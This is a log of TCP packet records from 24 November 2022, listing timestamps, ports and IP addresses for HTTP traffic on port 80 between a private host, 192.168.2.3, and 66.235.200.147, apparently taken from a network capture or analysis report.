Nov 24, 2022 16:57:33.432812929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432832003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432846069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432862043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432879925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432883978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432898045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432914972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432914972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432931900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432950020 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432950974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432966948 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.432971954 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.432985067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433002949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433007002 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433020115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433037043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433042049 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433053970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433072090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433075905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433089018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433111906 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433310986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433327913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433351040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433353901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433368921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433387041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433403015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433414936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433423996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433440924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433445930 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433459044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433476925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433480978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433495045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433495998 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433511972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433530092 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433532000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433547974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433566093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433568001 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433583975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433603048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433605909 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433621883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433640003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433640003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433657885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433681011 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433722019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433739901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433760881 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.433945894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433974981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433993101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.433996916 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434011936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434027910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434032917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434045076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434062004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434067965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434077978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434096098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434108019 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434112072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434129000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434137106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434146881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434163094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434168100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434179068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434195042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434199095 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434212923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434228897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434232950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434245110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434261084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434263945 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434287071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434298992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434312105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434328079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434344053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434350967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434360981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434374094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434390068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434396029 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434406996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434422970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434427977 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434438944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434442043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434456110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434472084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434478045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434489012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434504986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434510946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434523106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434544086 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.434926987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434946060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434962988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434981108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.434998989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435017109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435026884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435034037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435051918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435055971 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435069084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435070992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435086966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435105085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435108900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435122013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435139894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435143948 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435182095 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435257912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435276031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435293913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435317993 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435419083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435437918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435455084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435465097 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435473919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435492039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435503006 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435509920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435528040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435534000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435547113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435564041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435569048 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435581923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435600042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435606003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435617924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435635090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435642958 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435652971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435671091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435688972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435705900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435714960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435714960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435724020 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435743093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435750961 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435761929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435779095 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435785055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435796976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435817003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435827017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435836077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435853004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435863972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435872078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435889006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435895920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435906887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435924053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435941935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435946941 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435957909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435976028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435976982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.435992956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.435998917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436048985 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436244011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436266899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436290979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436316967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436316013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436336040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436352968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436357975 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436372995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436389923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436395884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436408043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436425924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436434984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436443090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436461926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436469078 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436480045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436496973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436502934 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436537027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436700106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436718941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436737061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436753988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436772108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436773062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436789036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436794043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436808109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436825037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436830044 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436842918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436862946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436881065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436886072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436898947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436917067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436923981 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436933994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436944008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.436952114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436969995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436986923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.436994076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437016010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437016964 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437032938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437048912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437064886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437066078 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437082052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437089920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437098980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437115908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437124968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437131882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437149048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437165976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437176943 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437181950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437199116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437200069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437215090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437218904 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437232971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437248945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437264919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437268019 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437282085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437289000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437298059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437314034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437330008 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437338114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437346935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437357903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437386036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437527895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437532902 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437545061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437594891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437629938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437648058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437663078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437680006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437686920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437695980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437714100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437722921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437730074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437752008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437891960 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437908888 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437925100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437932968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437942028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437958956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437968969 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.437975883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437992096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.437998056 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438008070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438025951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438034058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438049078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438065052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438074112 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438081980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438098907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438106060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438117027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438133001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438141108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438150883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438168049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438174009 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438184977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438200951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438216925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438216925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438234091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438239098 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438250065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438266039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438281059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438282967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438299894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438303947 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438317060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438333035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438344002 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438349962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438366890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438373089 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438415051 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438519001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438535929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438553095 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438570023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438580990 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438586950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438604116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438605070 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438621044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438637018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438647032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438653946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438671112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438677073 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438687086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438704014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438709021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438720942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438738108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438749075 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438754082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438771009 CET	80	49712	66.235.200.147	192.168.2.3
